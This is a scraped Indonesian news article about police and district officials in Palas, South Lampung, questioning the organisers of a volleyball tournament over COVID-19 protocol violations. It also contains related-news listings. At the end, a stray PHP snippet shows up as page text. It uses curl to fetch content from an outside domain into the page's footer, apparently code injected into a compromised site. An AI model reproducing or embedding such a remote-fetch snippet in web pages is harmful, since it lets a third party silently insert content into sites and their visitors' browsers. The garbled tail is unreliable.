Langgar Aturan Prokes, Panitia Turnamen Volly Ball Di Panggil Dan Di Periksa, Polsek PALAS

Rabu, 23 Desember 2020

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.Info | Lampung Selatan PALAS,Uspika dan pihak kepolisian  Palas ahirnya memanggi pihak Panitia Open Turnamen Volly Ball Desa Bumirestu, Kecamatan Palas  untuk di mintai keterangan perihal keramian penonton yang diduga melanggar protokol kesehatan. Selasa, 22/12/20.

 

Bertempat di Kantor Polsek Palas panitia Open Turnamen Volly Ball di panggil dan mintai keterangan oleh Kapolsek Palas, Danramil Palas, camat Palas, serta kasirantip Palas untuk di minta penjelasan atas dugaan pelanggaran protokol kesehatan yang mereka lakukan.

Beberapa saat kemudian Camat Palas Rika Wati, S.STP.MM keluar dari kantor Polsek Palas lansung di mintai keterangan oleh Media menjelaskan bahwa pihak kecamatan Palas dari awal tidak memberikan izin pada acara open Turnamen Volly Ball yang di selenggarakan di Desa Bumirestu kecamatan Palas kabupaten Lampung Selatan.

Baca Juga:  Hari ke 3 Tim Gabungan Temukan Lagi, Potongan Tubuh Korban SJ-182

“Kami telah katakan pada panitia untuk meminta izin pada gusgas kabupaten Lampung Selatan Karana ini sudah sekala besar bukan antar desa lagi tapi panitia tidak lakukan. mereka penyelengara sudah mengakui semua dan ini menjadi pembelajaran buat kita,” tutur camat.

Rika Wati  mengatakan mulai malam ini, tidak ada lagi pertandingan yang boleh di laksanakan, pada saat pendemi covid-19, jadi turnamen volly Ball kita hentikan dan kita tutup.

Baca Juga:  Dampak Kebijakan PSBB Jawa-Bali Bagi UMKM di Kota Malang

Saat di tanya atas dugaan pelanggaran undang undang protokol kesehatan camat Palas katakan, “itu hak dari Polsek Palas yang menanganinya jadi nanti tanyakan kekapolsek Palas aja ya itu tugas mereka,” tutupnya.

Sementara itu, Kapolsek Palas IPTU.M Sari Akip saat dimintai keterangan perihal pelangaran protokol kesehatan pada open turnamen volley Ball di Desa Bumirestu, menjelaskan bahwa ini masih dalam penyelidikan.

Baca Juga:  Petani Justru Dukung Galian C Dilanjutkan.

 

Pihaknya juga sudah memberikan himbauan agar tidak diadakan pertandingan saat pandemi saat ini.

“Sebelumnya sudah kami ingatkan untuk tidak menggelar pertandingan masih dilaksanakan juga, ya ini resiko nya disini,” kata Kapolsek Palas.

“Jadi yang kita terapkan  untuk sementara pasal 216 Tentang KUHP pidana bukan undang undang karantina ya yang mengarah itu, nanti kan berkembang ya ini kan masih dalam proses penyelidikan.

Masih memintak keterangan keterangan apakah dapat di sidik atau tidak, itu proses penyelidikan sementara, tinggal tunggu perkembangannya. ( Tim )

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kontingen Karate Pasmar 2 Rebut Juara Umum Kejuaraan Karate Se-Jatim
Muswil ke-1 Chepi dari Info Terbit Terpilih Sebagai Ketua FPII Banten Periode 2022-2027 
Ketua DPD PJI-D Ngopi Bareng  bersama Ketua DPC PJI-D Inhil 
Pasca Banjir, PUPR Usulkan Pembangunan Empat Titik Saluran Drainas
Masyarakat Mengeluh Gas Elpiji 3 Kg Langkah Dan Harga Melonjak Naik Di Eceran
DPO Perkara Tindak Pidana Korupsi Dana Desa (DD) di Ringkus
Gelar Vaksinasi Massal, Pemkab Kaur Tergetkan 2000 Dosis
Rutan Medaeng Akan Dibuat Mirip Apartemen

Berita Terkait

Senin, 8 Agustus 2022 - 21:30 WIB

Kontingen Karate Pasmar 2 Rebut Juara Umum Kejuaraan Karate Se-Jatim

Senin, 27 Juni 2022 - 22:25 WIB

Muswil ke-1 Chepi dari Info Terbit Terpilih Sebagai Ketua FPII Banten Periode 2022-2027 

Senin, 27 Juni 2022 - 21:29 WIB

Ketua DPD PJI-D Ngopi Bareng  bersama Ketua DPC PJI-D Inhil 

Kamis, 10 Februari 2022 - 06:46 WIB

Pasca Banjir, PUPR Usulkan Pembangunan Empat Titik Saluran Drainas

Senin, 13 Desember 2021 - 13:29 WIB

Masyarakat Mengeluh Gas Elpiji 3 Kg Langkah Dan Harga Melonjak Naik Di Eceran

Berita Terbaru

Peristiwa

Kecelakaan Tunggal di Kota Depok, Mobil tabrak Minimarket

Rabu, 16 Okt 2024 - 14:09 WIB

Peristiwa

Dianggap Tebar Fitnah, Akun @syahwalali Resmi Dilaporkan

Rabu, 16 Okt 2024 - 13:37 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>